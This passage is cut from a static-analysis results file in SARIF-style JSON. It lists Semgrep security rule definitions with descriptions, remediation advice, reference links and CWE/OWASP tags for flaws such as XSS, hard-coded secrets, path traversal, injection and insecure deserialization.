python.django.deserialization.tainted-json-django.tainted-json-django"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize."},"help":{"markdown":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods)\n - [https://docs.angularjs.org/api/ng/function/angular.element](https://docs.angularjs.org/api/ng/function/angular.element)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods","id":"javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods","name":"javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure CloudTrail logs are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure CloudTrail logs are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure CloudTrail logs are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk","id":"terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk","name":"terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A wide-string is used in an API that should consume byte-string (narrow string). This can trigger an out-of-bounds read."},"help":{"markdown":"A wide-string is used in an API that should consume byte-string (narrow string). This can trigger an out-of-bounds read.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR38-C.+Do+not+confuse+narrow+and+wide+character+strings+and+functions](https://wiki.sei.cmu.edu/confluence/display/c/STR38-C.+Do+not+confuse+narrow+and+wide+character+strings+and+functions)\n","text":"A wide-string is used in an API that should consume byte-string (narrow string). This can trigger an out-of-bounds read."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch","id":"cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch","name":"cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string","id":"ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string","name":"ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data."},"help":{"markdown":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.tainted-html-response.tainted-html-response)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.tainted-html-response.tainted-html-response","id":"javascript.aws-lambda.security.tainted-html-response.tainted-html-response","name":"javascript.aws-lambda.security.tainted-html-response.tainted-html-response","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.tainted-html-response.tainted-html-response"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Generic API Key detected"},"help":{"markdown":"Generic API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-generic-api-key.detected-generic-api-key)\n - [https://github.com/dxa4481/truffleHogRegexes/blob/master/truffleHogRegexes/regexes.json](https://github.com/dxa4481/truffleHogRegexes/blob/master/truffleHogRegexes/regexes.json)\n","text":"Generic API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-generic-api-key.detected-generic-api-key","id":"generic.secrets.security.detected-generic-api-key.detected-generic-api-key","name":"generic.secrets.security.detected-generic-api-key.detected-generic-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-generic-api-key.detected-generic-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"help":{"markdown":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.dangerous-template-string.dangerous-template-string)\n - [https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html](https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html)\n - [https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti)\n","text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"helpUri":"https://semgrep.dev/r/python.flask.security.dangerous-template-string.dangerous-template-string","id":"python.flask.security.dangerous-template-string.dangerous-template-string","name":"python.flask.security.dangerous-template-string.dangerous-template-string","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.dangerous-template-string.dangerous-template-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi","id":"python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi","name":"python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'html_safe' renders raw HTML. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify."},"help":{"markdown":"'html_safe' renders raw HTML. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe)\n - [https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===](https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===)\n - [https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027](https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027)\n","text":"'html_safe' renders raw HTML. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe","id":"ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe","name":"ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret","id":"ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret","name":"ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hardcoded passphrase was used with a call to the Password Based Key Derivation Function (PBKDF2) function which derives a cryptographic key from the password input. Because of this, the derived key is predictable and can be considered hard-coded too. Keys should be derived using a unique passphrase and randomly generated salt - per user."},"help":{"markdown":"A hardcoded passphrase was used with a call to the Password Based Key Derivation Function (PBKDF2) function which derives a cryptographic key from the password input. Because of this, the derived key is predictable and can be considered hard-coded too. Keys should be derived using a unique passphrase and randomly generated salt - per user.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5)\n","text":"A hardcoded passphrase was used with a call to the Password Based Key Derivation Function (PBKDF2) function which derives a cryptographic key from the password input. Because of this, the derived key is predictable and can be considered hard-coded too. Keys should be derived using a unique passphrase and randomly generated salt - per user."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase","id":"swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase","name":"swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase","properties":{"precision":"very-high","tags":["CWE-259: Use of Hard-coded Password","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."},"help":{"markdown":"Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-globals-use.dangerous-globals-use)\n - [https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186](https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186)\n","text":"Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-globals-use.dangerous-globals-use","id":"python.lang.security.dangerous-globals-use.dangerous-globals-use","name":"python.lang.security.dangerous-globals-use.dangerous-globals-use","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-globals-use.dangerous-globals-use"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.debug.debug-flask.active-debug-code-flask)\n - [https://flask.palletsprojects.com/en/3.0.x/debugging/](https://flask.palletsprojects.com/en/3.0.x/debugging/)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/python.flask.debug.debug-flask.active-debug-code-flask","id":"python.flask.debug.debug-flask.active-debug-code-flask","name":"python.flask.debug.debug-flask.active-debug-code-flask","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.debug.debug-flask.active-debug-code-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint","id":"go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint","name":"go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.pymongo-django.pymongo-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/python.django.db.pymongo-django.pymongo-django","id":"python.django.db.pymongo-django.pymongo-django","name":"python.django.db.pymongo-django.pymongo-django","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.pymongo-django.pymongo-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Semgrep detected a Kubernetes core API ClusterRole with excessive permissions. Attaching excessive permissions to a ClusterRole associated with the core namespace allows the V1 API to perform arbitrary actions on arbitrary resources attached to the cluster. Prefer explicit allowlists of verbs/resources when configuring the core API namespace. "},"help":{"markdown":"Semgrep detected a Kubernetes core API ClusterRole with excessive permissions. Attaching excessive permissions to a ClusterRole associated with the core namespace allows the V1 API to perform arbitrary actions on arbitrary resources attached to the cluster. Prefer explicit allowlists of verbs/resources when configuring the core API namespace. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions)\n - [https://kubernetes.io/docs/reference/access-authn-authz/rbac/#role-and-clusterrole](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#role-and-clusterrole)\n - [https://kubernetes.io/docs/concepts/security/rbac-good-practices/#general-good-practice](https://kubernetes.io/docs/concepts/security/rbac-good-practices/#general-good-practice)\n - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.28/#api-groups](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.28/#api-groups)\n","text":"Semgrep detected a Kubernetes core API ClusterRole with excessive permissions. Attaching excessive permissions to a ClusterRole associated with the core namespace allows the V1 API to perform arbitrary actions on arbitrary resources attached to the cluster. Prefer explicit allowlists of verbs/resources when configuring the core API namespace. "},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions","id":"yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions","name":"yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`flask.render_template`) which will safely render HTML instead."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`flask.render_template`) which will safely render HTML instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.raw-html-concat.raw-html-format)\n - [https://flask.palletsprojects.com/en/2.0.x/security/#cross-site-scripting-xss](https://flask.palletsprojects.com/en/2.0.x/security/#cross-site-scripting-xss)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`flask.render_template`) which will safely render HTML instead."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.raw-html-concat.raw-html-format","id":"python.flask.security.injection.raw-html-concat.raw-html-format","name":"python.flask.security.injection.raw-html-concat.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.raw-html-concat.raw-html-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can 